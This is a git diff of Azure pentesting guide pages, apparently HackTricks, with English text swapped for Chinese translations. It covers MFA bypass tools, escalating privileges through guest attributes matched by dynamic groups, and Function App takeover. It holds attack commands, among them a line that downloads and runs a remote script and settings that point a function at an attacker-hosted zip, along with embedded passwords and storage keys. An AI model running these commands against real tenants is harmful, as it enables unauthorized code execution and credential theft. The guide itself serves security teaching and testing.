||||
此外,还可以保护登录方式(例如,如果您尝试从浏览器或桌面应用程序登录)。工具 [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) 进行一些检查以尝试绕过这些保护。
|
||||
|
||||
Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also.
|
||||
工具 [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) 也可以用于类似的目的,尽管它看起来没有维护。
|
||||
|
||||
The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) could also be used to similar purposes although it looks unmantained.
|
||||
工具 [**ROPCI**](https://github.com/wunderwuzzi23/ropci) 也可以用来测试这些保护措施,看看是否可以绕过 MFA 或阻止,但该工具是从 **白盒** 角度工作的。您首先需要下载租户中允许的应用程序列表,然后它将尝试登录这些应用程序。
|
||||
|
||||
The tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) can also be used to test this protections and see if it's possible to bypass MFAs or blocks, but this tool works from a **whitebox** perspective. You first need to download the list of Apps allowed in the tenant and then it will try to login into them.
|
||||
## 其他 Az MFA 绕过
|
||||
|
||||
## Other Az MFA Bypasses
|
||||
### 铃声
|
||||
|
||||
### Ring tone
|
||||
|
||||
One Azure MFA option is to **receive a call in the configured phone number** where it will be asked the user to **send the char `#`**.
|
||||
一个 Azure MFA 选项是 **接收在配置的电话号码上的电话**,用户将被要求 **发送字符 `#`**。
|
||||
|
||||
> [!CAUTION]
|
||||
> As chars are just **tones**, an attacker could **compromise** the **voicemail** message of the phone number, configure as the message the **tone of `#`** and then, when requesting the MFA make sure that the **victims phone is busy** (calling it) so the Azure call gets redirected to the voice mail.
|
||||
> 由于字符只是 **音调**,攻击者可以 **破坏** 电话号码的 **语音邮件** 消息,将 **`#` 的音调** 配置为消息,然后在请求 MFA 时确保 **受害者的电话正在忙**(拨打它),这样 Azure 的电话就会被重定向到语音邮件。
|
||||
|
||||
### Compliant Devices
|
||||
### 合规设备
|
||||
|
||||
Policies often asks for a compliant device or MFA, so an **attacker could register a compliant device**, get a **PRT** token and **bypass this way the MFA**.
|
||||
|
||||
Start by registering a **compliant device in Intune**, then **get the PRT** with:
|
||||
策略通常要求合规设备或 MFA,因此 **攻击者可以注册合规设备**,获取 **PRT** 令牌并 **以此方式绕过 MFA**。
|
||||
|
||||
首先在 Intune 中注册 **合规设备**,然后使用以下命令 **获取 PRT**:
|
||||
```powershell
|
||||
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
|
||||
|
||||
@@ -97,89 +94,72 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
<token returned>
|
||||
```
|
||||
|
||||
Find more information about this kind of attack in the following page:
|
||||
在以下页面中找到有关此类攻击的更多信息:
|
||||
|
||||
{{#ref}}
|
||||
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## Tooling
|
||||
## 工具
|
||||
|
||||
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
|
||||
|
||||
This script get some user credentials and check if it can login in some applications.
|
||||
此脚本获取一些用户凭据并检查是否可以登录某些应用程序。
|
||||
|
||||
This is useful to see if you **aren't required MFA to login in some applications** that you might later abuse to **escalate pvivileges**.
|
||||
这对于查看您**是否不需要 MFA 登录某些应用程序**非常有用,这些应用程序您可能会稍后利用来**提升权限**。
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
Get all the policies
|
||||
|
||||
获取所有策略
|
||||
```bash
|
||||
roadrecon plugin policies
|
||||
```
|
||||
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
MFASweep is a PowerShell script that attempts to **log in to various Microsoft services using a provided set of credentials and will attempt to identify if MFA is enabled**. Depending on how conditional access policies and other multi-factor authentication settings are configured some protocols may end up being left single factor. It also has an additional check for ADFS configurations and can attempt to log in to the on-prem ADFS server if detected.
|
||||
|
||||
MFASweep 是一个 PowerShell 脚本,尝试使用提供的凭据 **登录到各种 Microsoft 服务,并尝试识别 MFA 是否启用**。根据条件访问策略和其他多因素身份验证设置的配置,一些协议可能最终会保持单因素。它还对 ADFS 配置进行了额外检查,并可以在检测到时尝试登录到本地 ADFS 服务器。
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
|
||||
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
|
||||
|
||||
This tool has helped identify MFA bypasses and then abuse APIs in multiple production AAD tenants, where AAD customers believed they had MFA enforced, but ROPC based authentication succeeded.
|
||||
该工具帮助识别MFA绕过,并在多个生产AAD租户中滥用API,AAD客户认为他们已强制实施MFA,但基于ROPC的身份验证成功。
|
||||
|
||||
> [!TIP]
|
||||
> You need to have permissions to list all the applications to be able to generate the list of the apps to brute-force.
|
||||
|
||||
> 您需要具有列出所有应用程序的权限,以便能够生成要进行暴力破解的应用程序列表。
|
||||
```bash
|
||||
./ropci configure
|
||||
./ropci apps list --all --format json -o apps.json
|
||||
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
|
||||
./ropci auth bulk -i apps.csv -o results.json
|
||||
```
|
||||
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey token is a set of functions which aim to help security consultants who need to validate Conditional Access Policies, tests for 2FA-enabled Microsoft portals, etc..
|
||||
Donkey token 是一组旨在帮助安全顾问验证条件访问策略、测试启用 2FA 的 Microsoft 门户等的功能。
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
</strong></code></pre>
|
||||
|
||||
**Test each portal** if it's possible to **login without MFA**:
|
||||
|
||||
**测试每个门户** 是否可以 **在没有 MFA 的情况下登录**:
|
||||
```powershell
|
||||
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
||||
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
|
||||
Because the **Azure** **portal** is **not constrained** it's possible to **gather a token from the portal endpoint to access any service detected** by the previous execution. In this case Sharepoint was identified, and a token to access it is requested:
|
||||
|
||||
因为 **Azure** **门户** **没有限制**,可以 **从门户端点收集令牌以访问之前执行检测到的任何服务**。在这种情况下,识别了 Sharepoint,并请求访问它的令牌:
|
||||
```powershell
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
```
|
||||
|
||||
Supposing the token has the permission Sites.Read.All (from Sharepoint), even if you cannot access Sharepoint from the web because of MFA, it's possible to use the token to access the files with the generated token:
|
||||
|
||||
假设令牌具有 Sites.Read.All(来自 Sharepoint)的权限,即使由于 MFA 你无法通过网络访问 Sharepoint,仍然可以使用该令牌访问使用生成的令牌的文件:
|
||||
```powershell
|
||||
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+19
-25
@@ -1,29 +1,28 @@
|
||||
# Az - Dynamic Groups Privesc
|
||||
# Az - 动态组权限提升
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
**Dynamic groups** are groups that has a set of **rules** configured and all the **users or devices** that match the rules are added to the group. Every time a user or device **attribute** is **changed**, dynamic rules are **rechecked**. And when a **new rule** is **created** all devices and users are **checked**.
|
||||
**动态组**是具有一组配置的**规则**的组,所有符合规则的**用户或设备**将被添加到该组。每当用户或设备的**属性**被**更改**时,动态规则会被**重新检查**。当**新规则**被**创建**时,所有设备和用户都会被**检查**。
|
||||
|
||||
Dynamic groups can have **Azure RBAC roles assigned** to them, but it's **not possible** to add **AzureAD roles** to dynamic groups.
|
||||
动态组可以被分配**Azure RBAC 角色**,但**无法**将**AzureAD 角色**添加到动态组中。
|
||||
|
||||
This feature requires Azure AD premium P1 license.
|
||||
此功能需要 Azure AD premium P1 许可证。
|
||||
|
||||
## Privesc
|
||||
## 权限提升
|
||||
|
||||
Note that by default any user can invite guests in Azure AD, so, If a dynamic group **rule** gives **permissions** to users based on **attributes** that can be **set** in a new **guest**, it's possible to **create a guest** with this attributes and **escalate privileges**. It's also possible for a guest to manage his own profile and change these attributes.
|
||||
请注意,默认情况下,任何用户都可以在 Azure AD 中邀请来宾,因此,如果动态组的**规则**根据可以在新**来宾**中**设置**的**属性**授予用户**权限**,则可以使用这些属性**创建来宾**并**提升权限**。来宾也可以管理自己的个人资料并更改这些属性。
|
||||
|
||||
Get groups that allow Dynamic membership: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
|
||||
获取允许动态成员资格的组:**`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
|
||||
|
||||
### Example
|
||||
### 示例
|
||||
|
||||
- **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
|
||||
- **Rule description**: Any Guest user with a secondary email with the string 'security' will be added to the group
|
||||
|
||||
For the Guest user email, accept the invitation and check the current settings of **that user** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
|
||||
Unfortunately the page doesn't allow to modify the attribute values so we need to use the API:
|
||||
- **规则示例**:`(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
|
||||
- **规则描述**:任何具有包含字符串 'security' 的次要电子邮件的来宾用户将被添加到该组
|
||||
|
||||
对于来宾用户电子邮件,接受邀请并检查**该用户**在 [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView) 的当前设置。\
|
||||
不幸的是,该页面不允许修改属性值,因此我们需要使用 API:
|
||||
```powershell
|
||||
# Login with the gust user
|
||||
az login --allow-no-subscriptions
|
||||
@@ -33,22 +32,17 @@ az ad signed-in-user show
|
||||
|
||||
# Update otherMails
|
||||
az rest --method PATCH \
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
|
||||
|
||||
# Verify the update
|
||||
az rest --method GET \
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--query "otherMails"
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--query "otherMails"
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+131
-201
@@ -4,7 +4,7 @@
|
||||
|
||||
## Function Apps
|
||||
|
||||
Check the following page for more information:
|
||||
查看以下页面以获取更多信息:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
@@ -12,33 +12,30 @@ Check the following page for more information:
|
||||
|
||||
### Bucket Read/Write
|
||||
|
||||
With permissions to read the containers inside the Storage Account that stores the function data it's possible to find **different containers** (custom or with pre-defined names) that might contain **the code executed by the function**.
|
||||
如果有权限读取存储函数数据的存储帐户中的容器,可以找到**不同的容器**(自定义或预定义名称),这些容器可能包含**函数执行的代码**。
|
||||
|
||||
Once you find where the code of the function is located if you have write permissions over it you can make the function execute any code and escalate privileges to the managed identities attached to the function.
|
||||
一旦找到函数代码所在的位置,如果您对其具有写入权限,可以使函数执行任何代码,并提升到附加到该函数的托管身份的权限。
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` 和 `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
The code of the function is usually stored inside a file share. With enough access it's possible to modify the code file and **make the function load arbitrary code** allowing to escalate privileges to the managed identities attached to the Function.
|
||||
|
||||
This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from 
|
||||
函数的代码通常存储在文件共享中。只要有足够的访问权限,就可以修改代码文件并**使函数加载任意代码**,从而提升到附加到函数的托管身份的权限。
|
||||
|
||||
这种部署方法通常配置设置**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**和**`WEBSITE_CONTENTSHARE`**,您可以从中获取
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
|
||||
Those configs will contain the **Storage Account Key** that the Function can use to access the code.
|
||||
这些配置将包含 **Storage Account Key**,函数可以使用它来访问代码。
|
||||
|
||||
> [!CAUTION]
|
||||
> With enough permission to connect to the File Share and **modify the script** running it's possible to execute arbitrary code in the Function and escalate privileges.
|
||||
> 只要有足够的权限连接到文件共享并 **修改正在运行的脚本**,就可以在函数中执行任意代码并提升权限。
|
||||
|
||||
The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares:
|
||||
以下示例使用 macOS 连接到文件共享,但建议还查看以下页面以获取有关文件共享的更多信息:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
{{#endref}}
|
||||
|
||||
```bash
|
||||
# Username is the name of the storage account
|
||||
# Password is the Storage Account Key
|
||||
@@ -48,50 +45,46 @@ The following example uses macOS to connect to the file share, but it's recommen
|
||||
|
||||
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
```
|
||||
|
||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
It's also common to find the **zip releases** inside the folder `function-releases` of the Storage Account container that the function app is using in a container **usually called `function-releases`**.
|
||||
|
||||
Usually this deployment method will set the `WEBSITE_RUN_FROM_PACKAGE` config in:
|
||||
在函数应用使用的存储帐户容器的文件夹 `function-releases` 中,通常会发现 **zip 发布**。
|
||||
|
||||
通常,这种部署方法会在以下位置设置 `WEBSITE_RUN_FROM_PACKAGE` 配置:
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
|
||||
This config will usually contain a **SAS URL to download** the code from the Storage Account.
|
||||
这个配置通常会包含一个 **SAS URL 以下载** 存储账户中的代码。
|
||||
|
||||
> [!CAUTION]
|
||||
> With enough permission to connect to the blob container that **contains the code in zip** it's possible to execute arbitrary code in the Function and escalate privileges.
|
||||
> 只要有足够的权限连接到 **包含代码的 zip 的 blob 容器**,就可以在函数中执行任意代码并提升权限。
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
|
||||
Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder **`github-actions-deploy`** in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
就像在前一个案例中一样,如果通过 Github Actions 进行部署,可以在存储账户中找到包含代码 zip 的文件夹 **`github-actions-deploy`**,以及设置 `WEBSITE_RUN_FROM_PACKAGE` 中的 zip 的 SAS URL。
|
||||
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
With permissions to read the containers inside the Storage Account that stores the function data it's possible to find the container **`scm-releases`**. In there it's possible to find the latest release in **Squashfs filesystem file format** and therefore it's possible to read the code of the function:
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` 和 `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
有权限读取存储账户中存储函数数据的容器时,可以找到容器 **`scm-releases`**。在这里可以找到最新的 **Squashfs 文件系统文件格式** 的发布,因此可以读取函数的代码:
|
||||
```bash
|
||||
# List containers inside the storage account of the function app
|
||||
az storage container list \
|
||||
--account-name <acc-name> \
|
||||
--output table
|
||||
--account-name <acc-name> \
|
||||
--output table
|
||||
|
||||
# List files inside one container
|
||||
az storage blob list \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--output table
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--output table
|
||||
|
||||
# Download file
|
||||
az storage blob download \
|
||||
--account-name <res-group> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip
|
||||
--account-name <res-group> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip
|
||||
|
||||
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
|
||||
|
||||
@@ -105,12 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
|
||||
It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.
|
||||
可以在存储帐户的容器 **`azure-webjobs-secrets`** 中找到存储的 **master 和 functions keys**,该容器位于 **`<app-name>`** 文件夹内的 JSON 文件中。
|
||||
|
||||
> [!CAUTION]
|
||||
> With enough permission to connect to the blob container that **contains the code in a zip extension file** (which actually is a **`squashfs`**) it's possible to execute arbitrary code in the Function and escalate privileges.
|
||||
|
||||
> 只要有足够的权限连接到 **包含 zip 扩展文件的 blob 容器**(实际上是 **`squashfs`**),就可以在 Function 中执行任意代码并提升权限。
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
@@ -119,36 +110,30 @@ mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
|
||||
|
||||
# Upload it to the blob storage
|
||||
az storage blob upload \
|
||||
--account-name <storage-account> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip \
|
||||
--overwrite
|
||||
--account-name <storage-account> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip \
|
||||
--overwrite
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/host/listkeys/action
|
||||
|
||||
This permission allows to list the function, master and system keys, but not the host one, of the specified function with:
|
||||
|
||||
此权限允许列出指定函数的功能、主密钥和系统密钥,但不包括主机密钥:
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
|
||||
With the master key it's also possible to to get the source code in a URL like:
|
||||
|
||||
使用主密钥也可以通过以下URL获取源代码:
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Access
|
||||
curl "<script-href>?code=<master-key>"
|
||||
## Python example:
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
|
||||
```
|
||||
|
||||
And to **change the code that is being executed** in the function with:
|
||||
|
||||
并要**更改正在执行的代码**,在函数中使用:
|
||||
```bash
|
||||
# Set the code to set in the function in /tmp/function_app.py
|
||||
## The following continues using the python example
|
||||
@@ -158,73 +143,57 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro
|
||||
-H "If-Match: *" \
|
||||
-v
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/functions/listKeys/action
|
||||
|
||||
This permission allows to get the host key, of the specified function with:
|
||||
|
||||
此权限允许获取指定函数的主密钥:
|
||||
```bash
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/host/functionKeys/write
|
||||
|
||||
This permission allows to create/update a function key of the specified function with:
|
||||
|
||||
此权限允许创建/更新指定函数的函数密钥:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/host/masterKey/write
|
||||
|
||||
This permission allows to create/update a master key to the specified function with:
|
||||
|
||||
此权限允许为指定的函数创建/更新主密钥:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Remember that with this key you can also access the source code and modify it as explained before!
|
||||
> 请记住,使用此密钥您还可以访问源代码并按前面所述进行修改!
|
||||
|
||||
### Microsoft.Web/sites/host/systemKeys/write
|
||||
|
||||
This permission allows to create/update a system function key to the specified function with:
|
||||
|
||||
此权限允许为指定的函数创建/更新系统函数密钥:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
|
||||
This permission allows to get the settings of a function. Inside these configurations it might be possible to find the default values **`AzureWebJobsStorage`** or **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** which contains an **account key to access the blob storage of the function with FULL permissions**.
|
||||
|
||||
此权限允许获取函数的设置。在这些配置中,可能会找到默认值 **`AzureWebJobsStorage`** 或 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**,其中包含一个 **访问函数的 blob 存储的帐户密钥,具有完全权限**。
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
Moreover, this permission also allows to get the **SCM username and password** (if enabled) with:
|
||||
|
||||
此外,此权限还允许通过以下方式获取 **SCM 用户名和密码**(如果启用):
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
|
||||
|
||||
These permissions allows to list the config values of a function as we have seen before plus **modify these values**. This is useful because these settings indicate where the code to execute inside the function is located. 
|
||||
这些权限允许列出函数的配置值,如我们之前所见,并且**修改这些值**。这很有用,因为这些设置指示了要在函数内部执行的代码的位置。 
|
||||
|
||||
It's therefore possible to set the value of the setting **`WEBSITE_RUN_FROM_PACKAGE`** pointing to an URL zip file containing the new code to execute inside a web application:
|
||||
|
||||
- Start by getting the current config
|
||||
因此,可以设置**`WEBSITE_RUN_FROM_PACKAGE`**的值,指向一个包含要在Web应用程序内部执行的新代码的URL zip文件:
|
||||
|
||||
- 首先获取当前配置
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
```
|
||||
|
||||
- Create the code you want the function to run and host it publicly
|
||||
|
||||
- 创建您希望函数运行的代码并公开托管它
|
||||
```bash
|
||||
# Write inside /tmp/web/function_app.py the code of the function
|
||||
cd /tmp/web/function_app.py
|
||||
@@ -234,228 +203,189 @@ python3 -m http.server
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
- 修改函数,保留之前的参数,并在最后添加配置 **`WEBSITE_RUN_FROM_PACKAGE`** 指向包含代码的 **zip** 的 URL。
|
||||
|
||||
- Modify the function, keep the previous parameters and add at the end the config **`WEBSITE_RUN_FROM_PACKAGE`** pointing to the URL with the **zip** containing the code.
|
||||
|
||||
The following is an example of my **own settings you will need to change the values for yours**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , this is where I was hosting the app.
|
||||
|
||||
以下是我的 **自定义设置,您需要更改为您自己的值**,请注意最后的值 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`,这就是我托管应用程序的地方。
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
|
||||
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
